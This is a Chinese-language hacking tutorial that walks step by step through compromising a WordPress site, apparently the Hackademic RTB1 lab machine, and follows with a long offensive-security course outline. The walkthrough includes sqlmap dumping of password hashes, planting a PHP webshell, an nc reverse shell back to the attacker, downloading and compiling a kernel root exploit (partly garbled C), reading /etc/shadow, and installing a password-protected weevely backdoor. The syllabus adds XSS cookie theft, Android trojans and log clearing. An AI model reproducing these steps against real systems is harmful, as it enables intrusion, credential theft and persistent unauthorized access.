黑客如何攻破一个网站?

通过本文你将了解黑客常用的入手思路和技术手法,适合热爱网络信息安全的新手朋友了解学习。本文将从最开始的信息收集开始讲述黑客是如何一步步的攻破你的网站和服务器的.阅读本文你会学到以下内容:

1.渗透测试前的简单信息收集。

2.sqlmap的使用

3.nmap的使用

4.nc反弹提权

5.linux系统的权限提升

6.backtrack 5中渗透测试工具nikto和w3af的使用等.

假设黑客要入侵的你的网站域名为:hack-test.com

让我们用ping命令获取网站服务器的IP地址.

Web信息安全

现在我们获取了网站服务器的IP地址为:173.236.138.113

寻找同一服务器上的其它网站,我们使用sameip.org.

渗透测试

26 sites hosted on IP Address 173.236.138.113

ID Domain Site Link
1 hijackthisforum.com hijackthisforum.com
2 sportforum.net sportforum.net
3 freeonlinesudoku.net freeonlinesudoku.net
4 cosplayhell.com cosplayhell.com
5 videogamenews.org videogamenews.org
6 gametour.com gametour.com
7 qualitypetsitting.net qualitypetsitting.net
8 brendanichols.com brendanichols.com
9 8ez.com 8ez.com
10 hack-test.com hack-test.com
11 kisax.com kisax.com
12 paisans.com paisans.com
13 mghz.com mghz.com
14 debateful.com debateful.com
15 jazzygoodtimes.com jazzygoodtimes.com
16 fruny.com fruny.com
17 vbum.com vbum.com
18 wuckie.com wuckie.com
19 force5inc.com force5inc.com
20 virushero.com virushero.com
21 twincitiesbusinesspeernetwork.com twincitiesbusinesspeernetwork.com
22 jennieko.com jennieko.com
23 davereedy.com davereedy.com
24 joygarrido.com joygarrido.com
25 prismapp.com prismapp.com
26 utiligolf.com utiligolf.com

173.236.138.113上有26个网站,很多黑客为了攻破你的网站可能会检查同服务器上的其它网站,但是本次是以研究为目标,我们将抛开服务器上的其它网站,只针对你的网站来进行入侵检测。

We’ll need more information about your site, such as:

我们需要关于你网站的以下信息:

  1. DNS records (A, NS, TXT, MX and SOA)
  2. Web Server Type (Apache, IIS, Tomcat)
  3. Registrar (the company that owns your domain)
  4. Your name, address, email and phone
  5. Scripts that your site uses (php, asp, asp.net, jsp, cfm)
  6. Your server OS (Unix,Linux,Windows,Solaris)
  7. Your server open ports to internet (80, 443, 21, etc.)

让我们开始找你网站的DNS记录,我们用who.is来完成这一目标.

入侵检测

我们发现你的DNS记录如下

web安全

让我们来确定web服务器的类型

渗透测试

发现你的W eb服务器是apache,接下来确定它的版本.

HACK-TEST.COM SITE INFORMATION

IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank:  1 Month: 3,213,968 3 Month: 2,161,753
Page Views per Visit:  1 Month: 2.0 3 Month: 3.7

接下来是时候寻找你网站域名的注册信息,你的电话、邮箱、地址等.

渗透测试

我们现在已经获取了你的网站域名的注册信息,包括你的重要信息等.我们可以通过backtrack 5中的whatweb来获取你的网站服务器操作系统类型和服务器的版本.

backtrack 5

backtrack 5

我们发现你的网站使用了著名的php整站程序wordpress,服务器的的系统类型为Fedora Linux,Web服务器版本Apache 2.2.15.继续查看网站服务器开放的端口,用渗透测试工具nmap:

1-Find services that run on server(查看服务器上运行的服务)

nmap查看开放端口
2-Find server OS(查看操作系统版本)

nmap查看系统类型
只有80端口是开放的,操作系统是Linux2.6.22(Fedora Core 6),现在我们已经收集了所有关于你网站的重要信息, 接下来开始扫描寻找漏洞,比如:

Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF 等等.

我们将使用Nikto来收集漏洞信息:

[email protected]:/pentest/web/nikto# perl nikto.pl -h hack-test.com

渗透测试工具backtrack 5
我们也会用到Backtrack 5 R1中的W3AF 工具:

[email protected]:/pentest/web/w3af# ./w3af_gui

渗透测试工具w3af

我们输入要检测的网站地址,选择完整的安全审计选项.

渗透测试全过程

稍等一会,你将会看到扫描结果.

web入侵检测

发现你的网站存在sql注入漏洞、XSS漏洞、以及其它的漏洞.让我们来探讨SQL注入漏洞.

http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220

我们通过工具发现这个URL存在SQL注入,我们通过Sqlmap来检测这个url.

Using sqlmap with –u url

sqlmap使用教程

过一会你会看到

sqlmap使用教程

输入N按回车键继续

sqlmap使用教程

我们发现你的网站存在mysql显错注入,mysql数据库版本是5.0. 我们通过加入参数”-dbs”来尝试采集数据库名.

sqlmap使用教程

sqlmap读取数据库名

发现三个数据库,接下来通过参数”-D wordpress -tables”来查看wordpress数据库的所有表名

sqlmap读取数据库中的表

sqlmap读取数据库中的表

通过参数“-T wp_users –columns ”来查看wp_users表中的字段.

sqlmap使用教程

sqlmap使用教程

接下来猜解字段user_login和user_pass的值.用参数”-C user_login,user_pass –dump”

我们会发现用户名和密码hashes值. 我们需要通过以下在线破解网站来破解密码hashes

http://www.onlinehashcrack.com/free-hash-reverse.php

hash在线破解

登陆wordpress的后台wp-admin

尝试上传php webshell到服务器,以方便运行一些linux命令.在插件页面寻找任何可以编辑的插件. 我们选择Textile这款插件,编辑插入我们的php webshell,点击更新文件,然后访问我们的php webshell.
上传漏洞获得webshell

上传漏洞获得webshell

Php webshell被解析了,我们可以控制你网站的文件,但是我们只希望获得网站服务器的root权限,来入侵服务器上其它的网站。

我们用NC来反弹一个shell,首先在我们的电脑上监听5555端口.

NC反弹

然后在Php webshell上反向连接我们的电脑,输入你的IP和端口5555.
NC反弹

点击连接我们会看到
NC反弹

 

接下来我们尝试执行一些命令:

id

uid=48(apache) gid=489(apache) groups=489(apache)
(用来显示用户的id和组)

pwd

/var/www/html/Hackademic_RTB1/wp-content/plugins
(显示服务器上当前的路径)

uname -a

Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
(显示内核版本信息)

Linux基础命令

现在我们知道,服务器的内核版本是2.6.31.5-127.fc12.1686,我们在exploit-db.com中搜索此版本的相关漏洞.
在服务器上测试了很多exp之后,我们用以下的exp来提升权限.
http://www.exploit-db.com/exploits/15285

我们在nc shell上执行以下命令:
wget http://www.exploit-db.com/exploits/15285 -o roro.c
(下载exp到服务器并重命名为roro.c)
注:很多linux内核的exp都是C语言开发的,因此我们保存为.c扩展名.
exp roro.c代码如下:

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0)
{
printf(“[*] Could not open socket.n”);
exit(-1);
}
memset(&addr, 0, sizeof(addr));

通过以上代码我们发现该exp是C语言开发的,我们需要将他编译成elf格式的,命令如下:

gcc roro.c –o roro

接下来执行编译好的exp

./roro

 

exp编译

执行完成之后我们输入id命令

id

我们发现我们已经是root权限了

uid=0(root) gid=0(root)

Linux服务器提权

现在我们可以查看/etc/shadow文件
cat /etc/shadow
linux基础命令

查看/etc/passwd 文件

cat /etc/passwd
linux基础命令

我们可以使用”john the ripper”工具破解所有用户的密码.但是我们不会这样做,我们需要在这个服务器上留下后门以方便我们在任何时候访问它.

我们用weevely制作一个php小马上传到服务器上.

1.weevely使用选项
[email protected]:/pentest/backdoors/web/weevely# ./main.py –

weevely使用方法

2.用weevely创建一个密码为koko的php后门

[email protected]:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko

weevely使用方法

接下来上传到服务器之后来使用它
[email protected]:/pentest/backdoors/web/weevely# ./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p koko

weevely使用方法

测试我们的hax.php后门

weevely使用方法

总结:

在这边文章中我们学到的一些技术正被黑客用来入侵你的网站和服务器,我们希望能通过这篇文章能够对你未来维护服务器和网站安全有所帮助.

明白这些渗透技能你就可以找工作了网上找到的感觉挺有意思

基础补习:

环境搭建篇(2天)

虚拟机安装

安装win2003,winxp,kali等操作系统

安装VMware

安装必要工具和插件

学习使用虚拟机快照,网络配置,线程设置等

脚本编程篇(4天)

1.html语言基础补习(表单,跳转,处理)

2.asp,php脚本编程基础补习(注释符,接受函数,编写规则,处理函数)

3.sql语言基础补习(查询,插入,修改更新等)

4.实例自己写文件上传页面

5.实例自己写sql注入测试页面

6.实例自己写后门小马,大马

1.搭建asp,php,aspx等环境(软件包,集成包,IIS,apache,tomcat等环境)

2.了解常见的搭建组合(asp+access,asp+mssql等)

3.学习常见数据库和网站应用(iis6.0 7.0 apache等)

4.分析数据库和网站信息传递过程,了解web服务流程(sql数据和网站调用)

5.HTTP数据包分析(请求行,状态行,相应码等)

1.实例sql注入原理分析

2.实例手工注入asp+access全过程

3.实例手工注入asp+mssql全过程

4.实例工具注入(啊D,明小子,穿山甲,sqlmap)

5.实例php+mysql5注入(密码猜解)

6.实例php+mysql5注入(文件读取)

7.实例php+mysql5注入(文件导出)

8.网站路径查找(爆路径,遗留文件等)

9.实例php+mysql5.0以下注入入侵思路

10.实例jsp+orcle注入(手工+工具)

11.实例java,strust等漏洞利用

12.实例其他数据库注入(postsql,db2等)

13.实例cookie注入 post注入

14.代码审计注入漏洞产生原理

15.access偏移注入

16.access跨库注入

17.xml实例注入原理和攻击演示

18.宽字节(搜索)注入

19.xpath注入

20.盲注产生和利用

21.数字,字符,搜索注入

22.关于扫描器注入利用

22.绕过防注入继续注入(waf拦截,关键字拦截,函数拦截等)

23.其他类似复杂注入问题

1.上传漏洞解析漏洞(iis,apache,uginx等)

2.上传漏洞一(filepath漏洞)

3.上传漏洞二(%00截断漏洞)

4.上传漏洞三(filetype漏洞)

5.上传漏洞四(文件头,文件类型漏洞)

6.实例文件头和文件完整性上传漏洞

7.代码审计上传漏洞产生原理

8.实例编辑器漏洞eweb一般流程

9.实例编辑器漏洞eweb密码破解不出的突破

10.实例编辑器漏洞eweb本地构造

11.实例编辑器漏洞eweb目录遍历漏洞

12.实例编辑器漏洞fck一般流程

13.实例编辑器漏洞fck突破“.”变“_”

14.实例编辑器漏洞fck_exp漏洞利用

15.其他编辑器综合利用

1.学习反射型xss,存储型xss,demo等

2.实例如何利用各类xss

3.实例xss漏洞盗取cookie

4.实例xss漏洞post表单(表单劫持,网站引流,各类xss作弊网赚等)

5.实例xss黑吃黑webshell箱子(单页面xss入侵思路,网赚xss订单偷取等)

6.xss实例中的限制和绕过(字符限制,长度限制,编码绕过,其他函数等)

7.csrf+xss攻击演示和利用

8.xss+msf实例演示劫持个人pc

9.xss专业神器工具介绍和使用(xsser,beff)

10.各类xss扫描工具介绍和利用

11.代码审计中的xss漏洞挖掘修复

1.实例演示文件包含(远程包含,本地包含原理分析)

2.关于命令执行漏洞(代码函数分析)

3.实例本地,远程文件包含获取webshell

4.实例命令执行获取权限

5.文件包含,命令执行隐藏后门利用

6.dedecms,thinkphp,phpcms等cms程序类似漏洞分析和利用

7.变量覆盖,变量喂养漏洞分析利用(dedecms演示)

8.关于相关漏洞函数功能分析

1.常见网站cms判断和识别(whatweb等工具使用)

2.常见网站后台查找(学习短文件漏洞,目录爬行,目录扫描,谷歌黑客等)

3.常见网站漏洞查找(各大漏洞网站介绍,各种漏洞影响说明)

4.常见大型网站渗透思路(端口,分站,报错等)

1.实例其他web安全漏洞(http注入,文件头攻击,Location-Spoofing,下载漏洞等)

2.实例后门检测和分析篇(长期保持程序,webshell变异,内核后门,后门伪装隐藏)

3.实例搭建webshell箱子,制作菜刀后门

4.数据脱裤,源码打包等方法解析(工具,脚本分析)

1.实例表单破解(后台密码,webshell密码等)

2.端口爆破(x-scan,hscan等)

3.端口入侵(mssql,mysql,phpmyadmin,ftp等)

4.服务提权(ftp提权,mssql提权等)

1.cdn 寻找真实ip演示

2.web 安全常见的加解密方式

3.编码中的base64注入演示

4.过防护一句话木马分析

5.windows工具:sqlmap,wvs,burpsuite,appscan等工具使用和问题(如何利用不认识的漏洞报告,各个扫描器优缺点)

1.后台拿shell(上)_数据库备份,文件格式修改,插入一句话

2.后台拿shell(中)_抓包上传,模板修改,sql执行,cms突破拿shell等

3.后台拿shell(下)_ecshop,dedecms,dz,phpcms,WordPress等cms拿shell等

1.实例渗透windows,linux命令学习

2.实例可读可写目录查找脚本篇

3.系统脚本权限设置和脚本程序应用日志

4.关于提权日志清除,日志恢复

5.实例溢出漏洞提权(解决cmd无法执行,解决目录不可写,解决权限问题等)

6.实例数据库提权(mysql_UDF提权,mysql_MOF提权,mysql_启动项提权,mssql_sa提权等)

7.实例lpk提权(DDOS+LPK提权)

9.星外提权(7i24,西部主机,freehost等)

10.linux溢出漏洞提权(漏洞寻找,编译exp,反弹shell等)

11.rar,cacls,type命令在提权,渗透中的妙用)

12.关于远控软件在提权中的利用

13.内网环境下的提权(LCX转发,内网转发,端口映射等)

14.提权中各类组件支持理解(ws组件,数据库组件,系统组件等)

15.三类提权总结(windows,linux,虚拟星外主机等)

16.如何寻找更多更全的提权exp

1.代码审计sql注入漏洞(接受值跟踪,接受方式判断,接受值处理)

2.如何查找,如何修复sql注入漏洞

3.相关修复函数学习和理解

1.代码审计xss跨站漏洞(接受值跟踪,接受方式判断,接受值处理)

2.如何查找,如何修复xss跨站漏洞

3.相关修复函数学习和理解

1.实例代码审计文件上传漏洞并修复(常规函数学习,安全函数,处理函数)

2.如何查找,如何修复上传漏洞

3.实例代码审计文件包含,命令执行,变量覆盖漏洞并修复(常规函数学习,安全函数解析)

4.如何查找,如何修复文件包含,命令执行,变量覆盖漏洞

代码审计实战:实例dedecms,phpweb,大米cms,aspcms,dz,phpcms等插件漏洞分析(学习挖洞思路和方法,学习大牛挖洞经验,审计工具具体使用)       入门:BT5+KALI入门和进阶(测试环境搭建,基础命令学习,msf加载)

实验1.实例局域网dns欺骗攻击

实验2.实例局域网arp欺骗攻击

实验3.实例MSF加载webshell提权利用实验

实验4.实例端口一体化入侵流程

实验5:实例内网劫持配合网马劫持PC

实验6:实例beef+ettercap+msf到服务器

实验7:实例set社工+安卓木马控制安卓手机实验

实验8:实例会话session劫持控制目标QQ空间,新浪微博,百度贴吧等

实验9:实例web安全工具讲解使用

kali下.实例windows平台内网渗透(弱口令破解,域环境渗透,hash入侵等)

kali下.安全注入工具sqlmap使用(数据猜解,sql执行,waf编码绕过,数据脱取等)

kali下.实例windows平台内网渗透(弱口令破解,域环境渗透,hash入侵等)

kali下.安全注入工具sqlmap使用(数据猜解,sql执行,waf编码绕过,数据脱取等)